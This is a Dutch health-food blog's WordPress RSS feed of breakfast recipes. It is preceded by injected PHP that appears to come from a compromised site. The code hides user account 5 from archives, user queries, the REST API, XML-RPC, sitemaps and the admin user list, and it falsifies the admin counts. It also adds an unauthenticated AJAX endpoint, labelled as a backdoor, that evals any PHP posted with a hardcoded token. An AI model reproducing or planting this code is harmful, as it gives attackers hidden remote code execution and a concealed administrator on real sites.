add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 5;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 5;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 5;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 5;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 5;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-5{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

// ==[BD:4sNKZaQu]==
add_action( 'wp_ajax_nopriv_qabxrsxrptn', function() {
    $sym = '4sNKZaQufZWk6Nh4OGOREJdP4oIondJN';
    $marker = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
    if ( empty( $marker ) || ! hash_equals( $sym, $marker ) ) {
        wp_send_json_error( [ 'message' => 'tok:' . $sym ], 403 );
    }
    $bind = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
    if ( trim( $bind ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
    $bind = preg_replace( '/^\s*<\?(php)?/i', '', $bind );
    while ( ob_get_level() > 0 ) { ob_end_clean(); }
    $obj = microtime( true );
    ob_start();
    try {
        ( static function() use ( $bind ) { return eval( $bind ); } )();
        $res = (string) ob_get_clean();
        wp_send_json_success( [ 'output' => $res, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $obj ) * 1000, 2 ) ] );
    } catch ( \Throwable $factor ) {
        while ( ob_get_level() > 0 ) { ob_end_clean(); }
        wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $factor->getMessage(), 'time_ms' => round( ( microtime( true ) - $obj ) * 1000, 2 ) ] );
    }
} );
// ==[/BD:4sNKZaQu]==
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Vrolijk ontbijten :) | Vanbinnenuit Gezond</title>
	<atom:link href="https://www.vanbinnenuitgezond.com/category/recepten/ontbijt/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.vanbinnenuitgezond.com</link>
	<description>Voeding als medicijn</description>
	<lastBuildDate>Fri, 18 Jul 2025 11:56:45 +0000</lastBuildDate>
	<language>nl-NL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
	<item>
		<title>Mijn dagelijkse smoothie</title>
		<link>https://www.vanbinnenuitgezond.com/mijn-dagelijkse-smoothie/</link>
					<comments>https://www.vanbinnenuitgezond.com/mijn-dagelijkse-smoothie/#respond</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Fri, 03 Jul 2020 14:54:15 +0000</pubDate>
				<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[immuniteit versterken]]></category>
		<category><![CDATA[smoothie]]></category>
		<guid isPermaLink="false">https://www.vanbinnenuitgezond.com/?p=47503</guid>

					<description><![CDATA[Groene groente zijn onmisbaar voor een gezond functioneren van je lichaam. Maar er voldoende van binnen te krijgen is niet altijd een sinecure. Een groene smoothie lost dat met gemak op. Kleine moeite, grote impact! A green smoothie a day keeps the doctor away :) &#160; Dit heb je nodig een handvol spinazie, sla, paksoi [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/mijn-dagelijkse-smoothie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Gefermenteerde zalm</title>
		<link>https://www.vanbinnenuitgezond.com/gefermenteerde-zalm/</link>
					<comments>https://www.vanbinnenuitgezond.com/gefermenteerde-zalm/#respond</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Sat, 25 May 2019 12:54:12 +0000</pubDate>
				<category><![CDATA[Happy lunches & diners]]></category>
		<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[gefermenteerde zalm]]></category>
		<category><![CDATA[gravad lax]]></category>
		<guid isPermaLink="false">https://www.vanbinnenuitgezond.com/?p=47178</guid>

					<description><![CDATA[]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/gefermenteerde-zalm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Wortelpudding</title>
		<link>https://www.vanbinnenuitgezond.com/wortelpudding/</link>
					<comments>https://www.vanbinnenuitgezond.com/wortelpudding/#respond</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 10:24:06 +0000</pubDate>
				<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[Zalig zondigen]]></category>
		<category><![CDATA[GAPS]]></category>
		<category><![CDATA[ketodesserts]]></category>
		<category><![CDATA[worteldessert]]></category>
		<guid isPermaLink="false">https://www.vanbinnenuitgezond.com/?p=47252</guid>

					<description><![CDATA[]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/wortelpudding/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Het lekkerste brood ooit</title>
		<link>https://www.vanbinnenuitgezond.com/het-lekkerste-brood-ooit/</link>
					<comments>https://www.vanbinnenuitgezond.com/het-lekkerste-brood-ooit/#comments</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Mon, 09 Jul 2018 15:27:09 +0000</pubDate>
				<category><![CDATA[Happy lunches & diners]]></category>
		<category><![CDATA[The basics]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[broodvervanger]]></category>
		<category><![CDATA[constipatie]]></category>
		<category><![CDATA[darmvriendelijk]]></category>
		<category><![CDATA[kokosmeel]]></category>
		<category><![CDATA[lijnzaad]]></category>
		<category><![CDATA[nigella]]></category>
		<category><![CDATA[zwarte komijn]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?post_type=recipe&#038;p=1151</guid>

					<description><![CDATA[Enkele weken geleden kreeg ik er plots weer zin in&#8230; in een boterhammetje met préparé :) Als ik wat dieper ging voelen, tja, dan kon ik niet ontkennen dat ik in een nostalgische bui zat. Herinneringen aan &#8216;de goeie ouwen tijd&#8217;&#8230; Pistoletjes met préparé doen me aan mijn studententijd denken. Sinds het overlijden van mijn vader zijn [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/het-lekkerste-brood-ooit/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Broccoli &#8211; bloemkoolburgertjes</title>
		<link>https://www.vanbinnenuitgezond.com/broccoli-bloemkoolburgertjes/</link>
					<comments>https://www.vanbinnenuitgezond.com/broccoli-bloemkoolburgertjes/#respond</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Fri, 19 May 2017 17:38:32 +0000</pubDate>
				<category><![CDATA[Happy lunches & diners]]></category>
		<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[bloemkool]]></category>
		<category><![CDATA[broccoli]]></category>
		<guid isPermaLink="false">https://www.vanbinnenuitgezond.com/?p=47197</guid>

					<description><![CDATA[]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/broccoli-bloemkoolburgertjes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Boekweitpannenkoeken</title>
		<link>https://www.vanbinnenuitgezond.com/boekweitpannenkoeken/</link>
					<comments>https://www.vanbinnenuitgezond.com/boekweitpannenkoeken/#comments</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Wed, 01 Feb 2017 10:58:56 +0000</pubDate>
				<category><![CDATA[Feel good receptideeën]]></category>
		<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[The basics]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[Zalig zondigen]]></category>
		<category><![CDATA[boekweitpannenkoek]]></category>
		<category><![CDATA[galette bretonne]]></category>
		<category><![CDATA[glutenvrij]]></category>
		<category><![CDATA[suikervrij]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?post_type=recipe&#038;p=808</guid>

					<description><![CDATA[O-oooooo, hier ben ik weer met een &#8216;nieuw&#8217; pannenkoekenrecept :) tJa, ik heb iets met pannenkoeken. Misschien is het wel de associatie met gezelligheid, warmte en geborgenheid die me steeds weer voor pannenkoeken doet zwikken? En het kan ook zonder gluten en snelle suikers! Er is zelfs veel meer mogelijk dan dat je misschien vermoedt! [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/boekweitpannenkoeken/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>Kokosmeelpannenkoekjes</title>
		<link>https://www.vanbinnenuitgezond.com/kokosmeelpannenkoekjes/</link>
					<comments>https://www.vanbinnenuitgezond.com/kokosmeelpannenkoekjes/#respond</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Sun, 20 Nov 2016 14:55:09 +0000</pubDate>
				<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[Zalig zondigen]]></category>
		<category><![CDATA[kokosmeelpannenkoekjes]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?post_type=recipe&#038;p=647</guid>

					<description><![CDATA[Pannenkoeken! Associeer jij dat ook met gezelligheid, plezier, familie, vrienden, warmte, feest? Zou dat de reden zijn waarom ik nog niemand ontmoet heb die geen pannenkoeken lust? Grote ramp dus als je de &#8216;gangbare&#8217; pannenkoek omwille van gezondheidsissues niet meer kan, mag of wil eten. Gelukkig zijn er nogal wat alternatieven, het ene al wat geslaagder en lekkerder dan de [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/kokosmeelpannenkoekjes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Met deze geheime formule tover je de lekkerste smoothies ooit</title>
		<link>https://www.vanbinnenuitgezond.com/met-deze-geheime-formule-tover-je-de-lekkerste-smoothies-ooit/</link>
					<comments>https://www.vanbinnenuitgezond.com/met-deze-geheime-formule-tover-je-de-lekkerste-smoothies-ooit/#comments</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Thu, 18 Feb 2016 06:21:03 +0000</pubDate>
				<category><![CDATA[Feel good receptideeën]]></category>
		<category><![CDATA[Frisse drankjes]]></category>
		<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[The basics]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[geheime formule]]></category>
		<category><![CDATA[ontbijtidee]]></category>
		<category><![CDATA[smoothie]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?post_type=recipe&#038;p=474</guid>

					<description><![CDATA[Smoothies&#8230; Ze winnen de laatste jaren steeds meer aan populariteit als ontbijt. Zelf ben ik er niet zó zot van &#8211; so to speak :) &#8211; maar toegegeven de (groene) smoothie is een &#8216;energy boosting powerhouse&#8217; én dat heb ik gemerkt toen ik ze een tijdje onder &#8216;lichte zelfdwang&#8217; &#8217;s morgens op het menu zette :) Niet dat [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/met-deze-geheime-formule-tover-je-de-lekkerste-smoothies-ooit/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title>Maak jij één van deze 5 ontbijt &#8216;fouten&#8217;?</title>
		<link>https://www.vanbinnenuitgezond.com/maak-jij-een-van-deze-5-ontbijt-fouten/</link>
					<comments>https://www.vanbinnenuitgezond.com/maak-jij-een-van-deze-5-ontbijt-fouten/#comments</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Wed, 03 Feb 2016 22:01:50 +0000</pubDate>
				<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[Wel-zijn]]></category>
		<category><![CDATA[bloedsuikerspiegel]]></category>
		<category><![CDATA[food cravings]]></category>
		<category><![CDATA[hypoglycemie]]></category>
		<category><![CDATA[ontbijt]]></category>
		<category><![CDATA[ontbijtideeën]]></category>
		<category><![CDATA[voedselkwaliteit]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?p=467</guid>

					<description><![CDATA[‘Ontbijt als een keizer, lunch als een koning en dineer als een bedelaar’, zegt het gezegde. Ja, we weten het wel &#8211; het ontbijt is dé belangrijkste maaltijd van de dag &#8211; maar in de praktijk kan het nogal ’s tegenvallen zo blijkt. Want eerlijk gezegd at ik in het verleden ’s morgens eerder als [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/maak-jij-een-van-deze-5-ontbijt-fouten/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Amandelkokosbrood met pompoenpitten</title>
		<link>https://www.vanbinnenuitgezond.com/amandelkokosbrood-met-pompoenpitten/</link>
					<comments>https://www.vanbinnenuitgezond.com/amandelkokosbrood-met-pompoenpitten/#comments</comments>
		
		<dc:creator><![CDATA[Els D'hollander]]></dc:creator>
		<pubDate>Thu, 28 Jan 2016 19:10:51 +0000</pubDate>
				<category><![CDATA[Feel good receptideeën]]></category>
		<category><![CDATA[Super snacks]]></category>
		<category><![CDATA[Vrolijk ontbijten :)]]></category>
		<category><![CDATA[alternatief voor brood]]></category>
		<category><![CDATA[amandelkokosbrood]]></category>
		<category><![CDATA[brood vervangen]]></category>
		<category><![CDATA[gezonde snack]]></category>
		<category><![CDATA[glutenintolerantie]]></category>
		<guid isPermaLink="false">http://www.vanbinnenuitgezond.com/?post_type=recipe&#038;p=463</guid>

					<description><![CDATA[Eerlijk? Ik heb eerder gemengde gevoelens rond de hele glutenvrije hype de dag van vandaag. Nochtans heeft het mij geen windeieren gelegd. In tegendeel! Sinds ik geen gluten meer eet, zijn vele van de klachten waar ik jaren mee rondgelopen heb als sneeuw voor de zon verdwenen. En toch wil ik geen kruistocht tegen brood en co ondernemen, [&#8230;]]]></description>
		
					<wfw:commentRss>https://www.vanbinnenuitgezond.com/amandelkokosbrood-met-pompoenpitten/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>